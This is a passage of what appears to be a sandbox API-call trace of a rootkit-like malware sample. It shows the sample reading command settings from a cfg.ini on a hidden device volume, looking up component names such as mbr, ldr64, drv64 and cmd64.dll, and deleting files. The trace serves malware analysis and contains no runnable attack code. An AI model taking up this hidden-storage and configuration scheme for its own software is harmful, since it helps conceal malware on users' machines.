FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.757] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.757] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.757] KeLeaveCriticalRegion () [0126.757] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.757] KeEnterCriticalRegion () [0126.757] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.758] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0126.758] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfaca0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.758] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.758] KeLeaveCriticalRegion () [0126.758] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.758] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.758] KeEnterCriticalRegion () [0126.758] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.758] ExFreePoolWithTag (P=0xfffffa8002adc3c0, Tag=0x0) [0126.758] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.758] KeLeaveCriticalRegion () [0126.758] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.758] ReleaseMutex (hMutex=0xf0) returned 1 [0126.758] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.766] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0126.766] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.766] KeEnterCriticalRegion () [0126.766] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.766] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.766] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.766] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.766] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.766] IdePortDispatch () returned 0x103 [0126.766] KeWaitForMutexObject () returned 0x0 [0126.767] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.767] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.767] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.767] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.767] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.767] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003acca20 [0126.767] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.767] KeLeaveCriticalRegion () [0126.767] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.767] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.767] KeEnterCriticalRegion () [0126.767] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.767] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.767] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.767] KeLeaveCriticalRegion () [0126.767] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.767] KeEnterCriticalRegion () [0126.767] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.767] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.767] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.767] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.767] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.767] IdePortDispatch () returned 0x103 [0126.767] KeWaitForMutexObject () returned 0x0 [0126.767] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.767] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.767] KeLeaveCriticalRegion () [0126.767] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.768] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.768] KeEnterCriticalRegion () [0126.768] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.768] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b17000 [0126.768] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.768] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.768] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.768] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.768] IdePortDispatch () returned 0x103 [0126.768] KeWaitForMutexObject () returned 0x0 [0126.768] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.768] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.768] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.768] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.768] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.768] IdePortDispatch () returned 0x103 [0126.768] KeWaitForMutexObject () returned 0x0 [0126.768] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.768] KeLeaveCriticalRegion () [0126.769] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.769] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.769] KeEnterCriticalRegion () [0126.769] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.769] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.769] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.769] KeLeaveCriticalRegion () [0126.769] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.769] KeEnterCriticalRegion () [0126.769] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.769] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0126.769] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfaca0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.769] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.769] KeLeaveCriticalRegion () [0126.769] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.769] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.769] KeEnterCriticalRegion () [0126.769] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.770] ExFreePoolWithTag (P=0xfffffa8003acca20, Tag=0x0) [0126.770] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.770] KeLeaveCriticalRegion () [0126.770] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.770] ReleaseMutex (hMutex=0xf0) returned 1 [0126.770] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0126.770] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0126.770] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0126.770] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0126.770] KeEnterCriticalRegion () [0126.770] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.770] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.770] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.770] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.770] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.770] IdePortDispatch () returned 0x103 [0126.770] KeWaitForMutexObject () returned 0x0 [0126.770] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.770] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0126.770] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.770] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.770] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.770] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.770] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.770] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.771] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.771] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0126.771] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.771] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.771] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.771] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.771] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.771] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.771] KeLeaveCriticalRegion () [0126.771] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.771] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0126.771] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0126.771] KeEnterCriticalRegion () [0126.771] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.771] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.771] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.771] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.771] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.771] IdePortDispatch () returned 0x103 [0126.771] KeWaitForMutexObject () returned 0x0 [0126.771] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.771] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0126.771] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.771] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.771] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.771] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.771] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.771] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.771] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.771] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0126.772] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.772] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.772] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.772] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.772] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.772] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.772] KeLeaveCriticalRegion () [0126.772] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.772] ReleaseMutex (hMutex=0x100) returned 1 [0126.772] Sleep (dwMilliseconds=0x2bf20) [0126.780] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6ec35e70, dwHighDateTime=0x1d24fa4)) [0126.780] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0126.780] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.780] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.780] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.780] KeEnterCriticalRegion () [0126.780] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.780] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.780] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.780] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.780] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.780] IdePortDispatch () returned 0x103 [0126.780] KeWaitForMutexObject () returned 0x0 [0126.780] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.780] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.780] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.781] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.781] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.781] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf81a0 [0126.781] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.781] KeLeaveCriticalRegion () [0126.781] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.781] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.781] KeEnterCriticalRegion () [0126.781] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.781] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.781] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.781] KeLeaveCriticalRegion () [0126.781] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.781] KeEnterCriticalRegion () [0126.781] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.781] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.781] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.781] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.781] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.781] IdePortDispatch () returned 0x103 [0126.781] KeWaitForMutexObject () returned 0x0 [0126.781] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.781] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.781] KeLeaveCriticalRegion () [0126.781] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.781] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.782] KeEnterCriticalRegion () [0126.782] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.782] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b1a000 [0126.782] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.782] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.782] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.782] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.782] IdePortDispatch () returned 0x103 [0126.782] KeWaitForMutexObject () returned 0x0 [0126.782] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.782] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.782] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.782] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.782] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.782] IdePortDispatch () returned 0x103 [0126.782] KeWaitForMutexObject () returned 0x0 [0126.782] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.782] KeLeaveCriticalRegion () [0126.782] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.783] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.783] KeEnterCriticalRegion () [0126.783] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.783] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.783] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.783] KeLeaveCriticalRegion () [0126.783] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.783] KeEnterCriticalRegion () [0126.783] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.783] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0126.783] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfaca0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.783] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.783] KeLeaveCriticalRegion () [0126.783] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.783] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.783] KeEnterCriticalRegion () [0126.783] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.783] ExFreePoolWithTag (P=0xfffffa8003bf81a0, Tag=0x0) [0126.783] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.783] KeLeaveCriticalRegion () [0126.784] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.784] ReleaseMutex (hMutex=0xf0) returned 1 [0126.784] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.784] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.784] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.784] KeEnterCriticalRegion () [0126.784] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.784] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.784] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.784] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.784] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.784] IdePortDispatch () returned 0x103 [0126.784] KeWaitForMutexObject () returned 0x0 [0126.784] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.784] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.784] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.784] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.784] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.784] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003accb30 [0126.784] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.784] KeLeaveCriticalRegion () [0126.784] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.784] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.784] KeEnterCriticalRegion () [0126.784] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.785] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.785] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.785] KeLeaveCriticalRegion () [0126.785] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.785] KeEnterCriticalRegion () [0126.785] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.785] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.785] IoAllocateMdl (in: 